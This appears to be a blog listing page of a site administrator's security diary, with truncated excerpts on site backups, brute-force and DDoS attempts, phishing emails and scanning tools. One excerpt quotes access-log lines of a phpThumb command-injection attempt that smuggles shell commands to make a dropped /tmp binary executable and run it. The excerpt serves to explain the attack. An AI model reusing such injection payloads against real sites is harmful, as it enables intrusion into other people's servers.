Backing up the whole site

Member for

5 months 3 weeks
Submitted by AlReaud on Wed, 01/18/2012 - 20:52

Revised: 2016-09-03, Al Reaud, Happy Cat Technologies

The following script integrates backing up the database with backing up the site code. Please note that descriptions place-hold for actual values in the script. Those actual values must be edited in, depending on your site configuration, for the script to work.

This script is adapted from the updated script created by Bristolguy on This script is currently operational on Ubuntu 16.04, and has not been tested on other versions of Linux.

The shell script is available here for your convenience,

Backing up the CMS Database

Member for

5 months 3 weeks
Submitted by AlReaud on Wed, 01/18/2012 - 19:51

Revised: 2016-09-12, Al Reaud, Happy Cat Technologies

The CMS database is the heart of any content management system. It's loss or damage will result in the loss and or damage of all of your hard work, and that of your commentators, posters, and contributors. Below, are two scripts that complement each other, one backs up the database into a SQL file, the other restores it from a SQL file.

Very Quiet on the Server Front

Member for

5 months 3 weeks
Submitted by AlReaud on Tue, 01/10/2012 - 22:21

NOTE: Updated 11/15/2016

Unusually so, actually. Some of the methods may be working. Attack vectors cycle through periodically, some brute forcing the root, some brute forcing non-existent accounts. I still haven't figured out how to trap the password strings coming in on the brute forcing. Majority of attacks last week from CN, then US.

The activity has changed to the on-line servers, where I occasionally get DOS attacks. The GoDaddy servers throttle down if they sense one going on, but sometimes mistake valid activity for a DOS attack. All that takes latency to a 3-7 second level, which is OK as long as it stays on the lower end.

A new tool that I'm learning is Metasploit. An excellent penetration testing tool, but with a fairly steep learning curve. Maybe one of these days I'll make enough money to buy the pro version…

Disecting a Spoof Craigs List Email

Member for

5 months 3 weeks
Submitted by AlReaud on Tue, 12/27/2011 - 09:29

NOTE: Updated 11/15/2016

Today's blog entry will cover a little live action. This is a continuation of the attacks from French domains. Contrary to popular belief, all online attacks DO NO ORIGINATE FROM CHINA!

Following the receipt of the below email, I examined the email in detail (clicking on the image opens a full size image in another tab or window).

Craigs List phishing email attempting to get your login.

The most important above is that when you hover over the link, you can see in the status bar

Punishment DDOS attacks on online server

Member for

5 months 3 weeks
Submitted by AlReaud on Sat, 12/24/2011 - 08:16

NOTE: Updated 11/15/2016

Attacks have ceased pretty much on the testing server, but I must have pissed somebody off last night. WOOT!

DDOS attacks started in the late evening, starting probably around 21:00 through at least probably midnight. Can't actually tell because I can't access the httpd logs. The positive note is this lead to me asking GoDaddy where the httpd logs are, something I wasn't aware of (in FTP Manager). Bluehost allow access to the server logs, but Yahoo did not when I used them. It's a virtual machine so the logs don't compromise any hosting provider confidential data...

The offending IP addresses were:

  • - FR, I know the bot-net there, and they have been getting inverse “Pavlovian Dog” training. I am almost willing to bet the control node resides in this general IP area,

Rise of the Machine. A week of wetware against bots...

Member for

5 months 3 weeks
Submitted by AlReaud on Fri, 12/23/2011 - 10:12

Note: Updated 11/13/2016

A very interesting week in the wetware vs. botware wars. Patterns and common vulnerabilities are starting to come out of obscurity. New attack vectors have presented themselves. Indeed exciting times, LOL. cheeky

One of the most interesting, attack wise, comes from France and Malaysia. It appears to be a CMS scan, but I don't believe it is. It may be one of the first denial of service reflection attacks. There are embedded bash shell commands in the query string that are directed at specific sites that aren't my IP. I've included two samples below: - - [23/Dec/2011:02:53:21 -0700] "GET /wp-content/plugins/com-resize/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20
hmod%200755%20/tmp/barbut6;/tmp/barbut6;ps%20-aux;%20&phpThumbDebug=9 HTTP/1.1" 404 3602 - - [23/Dec/2011:02:53:19 -0700] "GET /admin/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]
/barbut6;chmod%200755%20/tmp/barbut6;/tmp/barbut6;ps%20-aux;%20&phpThumbDebug=9 HTTP/1.1" 403 14168

Don't waste your time, folks, I penetration test my own systems regularly for weaknesses,

Persistent attacks from one IP in India

Member for

5 months 3 weeks
Submitted by AlReaud on Mon, 12/12/2011 - 08:10

NOTE: Updated 11/15/2016

Today's memorable entry is from Trivandrum Kerala, India, in the State of Delhi:

They are memorable because for some reason fail2ban didn't trap them. So they got to attack the shell 495 times instead on the nominal five. Zenmap indicates an unusual setup, with some open ports that are normally filtered, and things not normally seen, such as ipp, wpgs, route, and sip. An unknown port is open at 20717.

OpenVAS reports 14 low level weaknesses,  with a server running at port 631. The interpretation of that is that the hacking is intentional, because without weakness present, it somewhat eliminates unintentional bots, as with the Church last week. Most of the systems examined so far have certain weaknesses present, such as http TRACE. This IP is clean of even moderate weaknesses.

Makes one wonder why they waste their

Sea Change in Attack Vectors

Member for

5 months 3 weeks
Submitted by AlReaud on Thu, 12/08/2011 - 12:29

NOTE: Updated 11/15/2016

There's been a sea change in the attack vectors coming into the testing server, and some interesting characters.

For approximately two weeks, we've been subject to "IP Agile" attacks. The term "IP Agile" is something borrowed from a piece of high end R&D lab equipment, a Fluke frequency-agile signal generator. The "IP Agile" attackers use numerous IP addresses that repeat only occasionally over a span of hours, evading tools like fail2ban. There also seems to be a specific cycle through countries, China, Brazil, Japan, EU (UK or France),  Taiwan, then repeating, though I don't yet have enough data.

This set of attackers seems to be hitting mail servers and phone branch exchange (PBX) servers mostly. Found a great site at a church in Lafayette, IN that had their website infested. The trick was that you only saw the spam if you had javascripts disabled. Called them up and spoke to a parishioner manning the phones, and followed

SunTrust Spoof: Additional ways of protecting your SunTrust access

Member for

5 months 3 weeks
Submitted by AlReaud on Tue, 09/27/2011 - 19:50

Updated: 11/6/2016

This is a recent phish wherein you get the following email (allegedly) from SunTrust Bank:

Subject: Additional ways of protecting your SunTrust access
From: "Suntrust"<>

SunTrust Online Banking Alert:

Banking with SunTrust Online is about to become even more secure!
As a valued SunTrust online customer, the security of your identity and personal account information is extremely important. We are installing Enhanced Online Security as an additional